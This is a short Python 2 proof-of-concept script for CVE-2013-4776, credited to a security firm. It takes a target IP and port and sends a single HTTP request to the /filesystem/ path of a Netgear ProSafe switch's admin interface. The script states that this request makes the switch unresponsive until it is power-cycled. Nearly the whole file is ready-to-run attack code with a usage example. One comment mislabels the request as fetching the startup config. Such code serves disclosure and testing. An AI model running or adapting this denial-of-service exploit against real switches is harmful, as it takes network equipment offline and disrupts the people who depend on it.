95 lines
No EOL
2.8 KiB
Python
Executable file
95 lines
No EOL
2.8 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
################################################################
|
|
# #
|
|
# Netgear ProSafe - CVE-2013-4776 PoC #
|
|
# written by Juan J. Guelfo @ Encripto AS #
|
|
# post@encripto.no #
|
|
# #
|
|
# Copyright 2013 Encripto AS. All rights reserved. #
|
|
# #
|
|
# This software is licensed under the FreeBSD license. #
|
|
# http://www.encripto.no/tools/license.php #
|
|
# #
|
|
################################################################
|
|
|
|
import sys, getopt, urllib2
|
|
from subprocess import *
|
|
|
|
|
|
__version__ = "0.1"
|
|
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"
|
|
|
|
|
|
# Prints title and other header info
|
|
def header():
|
|
print ""
|
|
print " ================================================================= "
|
|
print "| Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t |".format(__version__)
|
|
print "| by {0}\t\t |".format(__author__)
|
|
print " ================================================================= "
|
|
print ""
|
|
|
|
|
|
# Prints help
|
|
def help():
|
|
header()
|
|
print """
|
|
Usage: python CVE-2013-4776.py [mandatory options]
|
|
|
|
Mandatory options:
|
|
-t target ...Target IP address
|
|
-p port ...Port where the HTTP admin interface is listening on
|
|
|
|
Example:
|
|
python CVE-2013-4776.py -t 192.168.0.1 -p 80
|
|
"""
|
|
sys.exit(0)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
#Parse options
|
|
try:
|
|
options, args = getopt.getopt(sys.argv[1:], "t:p:", ["target=", "port="])
|
|
|
|
except getopt.GetoptError, err:
|
|
header()
|
|
print "\n[-] Error: {0}.\n".format(str(err))
|
|
sys.exit(1)
|
|
|
|
if not options:
|
|
help()
|
|
|
|
target = None
|
|
port = None
|
|
for opt, arg in options:
|
|
if opt in ("-t"):
|
|
target = arg
|
|
|
|
if opt in ("-p"):
|
|
port = arg
|
|
|
|
#Option input validation
|
|
if not target or not port:
|
|
help()
|
|
print "[-] Error: Incorrect syntax.\n"
|
|
sys.exit(1)
|
|
|
|
header()
|
|
headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }
|
|
|
|
try:
|
|
# Get the startup config via HTTP admin interface
|
|
print "[+] Triggering DoS condition..."
|
|
r = urllib2.Request('http://%s:%s/filesystem/' % (target, port), None, headers)
|
|
urllib2.urlopen(r,"",5).read()
|
|
|
|
except urllib2.URLError:
|
|
print "[-] Error: The connection could not be established.\n"
|
|
|
|
except:
|
|
print "[+] The switch should be freaking out..."
|
|
print "[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"
|
|
|
|
sys.exit(0) |